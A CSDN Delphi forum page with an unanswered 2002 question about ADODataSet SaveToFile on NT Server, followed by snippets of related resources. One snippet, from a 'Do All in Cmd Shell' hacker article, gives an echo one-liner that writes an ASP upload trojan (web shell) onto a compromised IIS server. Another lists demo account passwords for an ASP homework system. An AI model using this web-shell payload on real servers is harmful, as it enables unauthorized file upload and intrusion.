社区
Delphi
帖子详情
为什么savetofile不能用
yzfcat_fish
2002-10-09 05:09:49
为什么nt server不支持adodataset的savetofile函数,如何才能使它支持
...全文
25
回复
打赏
收藏
为什么savetofile不能用
为什么nt server不支持adodataset的savetofile函数,如何才能使它支持
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
FSO生成UTF-8编码文件的解决方法
昨天写一个生成天气预报的xml文件的程序,考虑到通用性,于是选择utf-8编码,我也比较偏好这个编码。最先想到用FSO来写这个xml文件,后来却发现生成的xml文件
不能
正常显示,仅仅是因为编码的原因。用记事本打开生成的xml文件,另存为utf-8编码的xml文件即可正常显示。于是在网上搜索了一下,结果发现很多人说FSO只能写ANSI编码的文件,
不能
写utf-8格式的文件,并且只能读写文本文件。很多人都选择用ADODB.STREAM对象来替代FSO对象,因为STREAM类有LOADFROM
FILE
和SAVETO
FILE
方法.并且有一个至关重要的属性CHARSET,这是FSO没有的。
Inno All-in-One Setup
Inno Setup 是一个免费的安装制作软件,小巧、简便、精美是其最大特点,支持pascal脚本,能快速制作出标准Windows2000风格的安装界面,足以完成一般安装任务。该软件用Delphi写成,其官方网站同时也提供源程序免费下载。它虽
不能
与Installshield这类恐龙级的安装制作软件相比,但也当之无愧算是后起之秀。 Inno_552_121113_WLDNA.exe(2012-11-13) 新增 1、Inst
File
s ISPP文件,及例子(在 Examples\ISPP文件夹下) 2、MUI_Nsis_Adv开放,例子在:UI\Mui_Nsis(内含类似NSIS banner例子) 3、因Inno内置了DirExists,增加了仅当此函数未定义的情况下使用 更新: 1、更新Inno至最新版 5.5.2 2、因ISSP使用越来越多,故取消之前 设置 verboselevel 4的做法。 3、更新Restools增强版至build 121002 (5.5.1.e2 & 5.5.1.ee2) 4、更新Restools增强编辑器至build 121002 5、更新SkyGz汉化增强版至5.5.2 6、修改.ISH注释,Saveto
File
的时候不包含注释
Do All in Cmd Shell (一切尽在命令行)
目录 1,前言 2,文件传输 3,系统配置 4,网络配置 5,软件安装 6,Windows脚本 7,附言 前言 Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。 本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。 文件传输 对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下: 1,用Echo命令写ASP木马。 前提当然是目标主机上已经安装了IIS。 一般的ASP木马“体积”较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。 直接给出echo版: @echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.saveto
file
server.mappath(request.querystring("s")),2:end with%^> >up.asp 注意,只有一行,中间没有回车符。 生成的up.asp
不能
用浏览器访问,只能用下面这个脚本:
ASP在线作业系统
从beta版变为stable版主要在以下地方做了修正===========================================2004年7月20日星期二修正1. 修改了css使用绝对路径的问题2. 对于登陆时输入错误验证码,返回后该验证码就无效的功能进行了修改,返回后仍可使用该验证码,20分钟后该验证码失效。3. 对一些链接进行了优化,方便操作4. 加入了取回密码的功能5. 对一些数据库操作后,在客户端浏览器上由于缓存的原因,显示滞后的问题进行了纠正6. 加入了一些统计信息,如注册该班级的人数,这次作业交的人数提示:1.如果出现一些不可预见的问题,请尝试刷新页面。2.对于教师布置作业,如果同时布置给多个班级同一个作业,在修改作业的时候,要一个一个班级的修改,有时间我会改进2004年9月10日修正加入评分功能修改css样式2005年4月20日修正在注册页面reg.asp加入二级联动功能在add_class.asp中改了一个错别字“只有”,改为“只要”在admin_explain.asp中改了一个错别字“介”改为“但”在add_homework.asp中加入了老师上传文件的功能,引用了无惧上传类2.0,加入两个文件control/upload_class.asp2005年4月21日修正
File
_upload.asp,加入模板标记将数据库eric_config中的upload_extend字段改为备注类型学生用户名:ericboy 密码:dddddddd 学生登陆界面index.htm教师用户名:xujinghong 密码:xujinghong 教师和管理登陆界面homework_system/main/control/admin_login.asp管理员用户名:ericstudio 密码:ericstudio 教师和管理登陆界面homework_system/main/control/admin_login.asp2005年10月26日修正在modify_info.asp页面中,使学生在更改资料前显示原始资料,在程序的书写风格上与原来有所不同在show_homework.asp中,加入了js函数isDel用于当删除文件时做提示用在upload.asp页中,加入验证当直接修改传入的作业名参数时使该次作业可以上传的漏洞在control/search.asp页面中添加了searhc.asp的注意事项修正数据库中表homework字段content的数据类型改为备注2005年10月27日在/main/下增加lib目录存放本人近来完成的类库,为作更新程序用在
file
_upload.asp中,修改模板标记js脚本使之在content中显示如形式的标签,去掉原有的AutoSave改用SaveTo
File
函数在detail.asp中,使用类库,实现自定义标签的解析因虚拟域名有广告,故将http://jjxy.zj.com改为实际URL:http://mlzboy.jahee.com/xbtxg/index.asp在/control/admin_class.asp中加入isDel函数在/control/manage_homework.asp中加入isDel函数,在链接上加入了说明文字,修正了标题文字为解决诺顿认为上传类为病毒问题修正了main/up
file
_class.asp文件修正mark_check.asp逻辑错误评分系统完成,系统认为,学生提交的一个文件就有一个分数,因此用户如果不喜欢建议让学生将一次作业打包上传修正admin_check.asp当系统管理员添加用户时备注
不能
为空的错误修正admin_check.asp在老师管理员登陆时限制被锁定的用户禁止登陆修改了control/show_error.asp中的说明文字更改了top.gif,,将修正后的版本命名为v1.0 stable删除global.asa文件,修改了index.asp,添加了online.asp文件,改用数据库方式记录当前在线人数,以精确。在表eric_config中加入total字段,用于记录总访问量加入表online用于记录在线人数添加了online.asp用于统计访问人数在main/index.asp中include online.asp文件2005年10月28日重用global.asa用于设置属性session.timeout=200以便于在调试在Global.asp中对Cls_Template类的函数添加修正了注释,统一规范了变量命名2005年10月29日在Gl
NativeXml v4.07(含全部源码)
强大的XML组件,可以将对象直接存入XML文件,非常实用,而且开源! 很不错,推荐大家使用! 原来一直使用Delphi自带的TXMLDocument类来进行XML文件的读写,虽然麻烦了一点,但功能上来说还不错。只是有一个地方让我实在不舒服 - 每次创建TXMLDocument类实例的时候必须传入TComponent对象,这就意味着,如果我把对XML文件的读写封装到一个类里面,那么在创建这个自定义类的时候就必须也传入TComponent对象。 我尝试过很多方法,但是都无法避免,最后试着上网找了找,于是就找到了NativeXML这个库。 下载之后马上打开Demo看了看,cool,创建TNativeXML的时候只需要传入xml文件路径就可以,再往下看就让我开始惊喜了。它已经把大多数操作都封装好了,而且还具有把任意对象序列化的能力。 比如,你能把整个Form通过 TsdXmlObjectWriter = class(TPersistent) 类存入一个XML文件,下次再读取。这样使得远程传输对象变得很简单了。 下面就是一个使用NativeXML库的例子: 目标XML结构: 2000-01-01 delphi 代码: procedure WriteTest; var xml : TNativeXML; n_bs : TXMLNode; begin //建立根节点 xml := TNativeXml.CreateName('bookshift'); xml.EncodingString := 'GB2312'; //输出风格为易读 xml.XmlFormat := xfReadable; //建立Book节点 n_bs := xml.Root.NodeNew('book'); //写入Book节点的属性 n_bs.WriteAttribuiteString('author','test_author'); //建立Book节点下属date节点并写入值 n_bs.WriteString('date','2000-01-01'); xml.SaveTo
File
('test.xml'); end; 打开test.xml文件看看吧,和上面的格式一摸一样。 很简单吧,我用这个库重写了原来的XML访问类,大约节省了40%的代码量。
Delphi
5,388
社区成员
262,730
社区内容
发帖
与我相关
我的任务
Delphi
Delphi 开发及应用
复制链接
扫一扫
分享
社区描述
Delphi 开发及应用
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章